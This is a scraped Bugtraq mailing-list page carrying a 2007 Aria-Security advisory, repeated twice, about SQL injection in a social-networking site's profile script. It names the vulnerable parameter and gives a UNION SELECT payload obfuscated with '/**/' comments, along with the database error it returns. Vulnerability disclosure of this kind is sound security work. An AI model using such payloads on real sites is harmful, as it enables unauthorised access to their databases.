Threat level definition
Search:
Home
Bugtraq
Vulnerabilities
Mailing Lists
Jobs
Tools
Beta Programs
News
Infocus
Foundations
Microsoft
Unix
IDS
Incidents
Virus
Pen-Test
Firewalls
Columnists
Mailing Lists
Newsletters
Bugtraq
Focus on IDS
Focus on Linux
Focus on Microsoft
Forensics
Pen-test
Security Basics
Vuln Dev
Vulnerabilities
Jobs
Job Opportunities
Resumes
Job Seekers
Employers
Tools
RSS
News
Vulns
Security Research
Back to list
|
Post reply
[Aria-Security Team] social-networkin SQL Injection
Sep 09 2007 04:45AM
Advisory Aria-security net
_________________________
A R I A - S E C U R I T Y
_________________________
http://www.social-networking.tv/
Demo: http://www.social-networking.tv/musicians/
http://mytarget/profile/myprofile.php?u=[SQL]
We will just provide an example to show the result when an SQL command is given
http://mytarget/profile/myprofile.php?u=[SQL]-1/**/union/**/all/**/selec
t/**/1/**/from/**/test
Result:
Table 'socialee_new.test' doesn't exist
-------------------------
Credits: Aria-Security Team
http://aria-security.net
[ reply ]
Privacy Statement
Copyright 2008, SecurityFocus
A R I A - S E C U R I T Y
_________________________
http://www.social-networking.tv/
Demo: http://www.social-networking.tv/musicians/
http://mytarget/profile/myprofile.php?u=[SQL]
We will just provide an example to show the result when an SQL command is given
http://mytarget/profile/myprofile.php?u=[SQL]-1/**/union/**/all/**/selec
t/**/1/**/from/**/test
Result:
Table 'socialee_new.test' doesn't exist
-------------------------
Credits: Aria-Security Team
http://aria-security.net
[ reply ]